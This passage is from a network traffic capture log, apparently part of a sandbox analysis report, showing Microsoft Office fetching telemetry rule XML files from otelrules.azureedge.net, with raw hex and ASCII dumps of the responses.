<L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:14 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:14 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:14 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 268d79c2-101e-008e-3860-41cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141714Z-174f7845968pf68xhC1EWRr4h80000000ysg000000009qtq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:14 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:14 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:14 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:14 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 6584919e-f01e-0003-06a3-3f4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141714Z-174f7845968zgtf6hC1EWRqd8s0000000rkg0000000029pb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:14 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:14 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:14 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141714Z-174f7845968xlwnmhC1EWR0sv80000000yd0000000005ha9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:14 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:14 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141714Z-174f78459685726chC1EWRsnbg0000000ymg000000007a0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:14 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:14 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141714Z-174f7845968pf68xhC1EWRr4h80000000ypg00000000dq4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:15 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:16 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:16 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141716Z-174f7845968kdththC1EWRzvxn0000000avg000000009zsa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141716Z-174f7845968pf68xhC1EWRr4h80000000ywg0000000017rs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:17 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141717Z-174f7845968pf68xhC1EWRr4h80000000yug000000005ah4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141717Z-174f78459685726chC1EWRsnbg0000000yf000000000dvuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:17 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141717Z-174f78459688l8rvhC1EWRtzr00000000b0g00000000dxv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:17 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
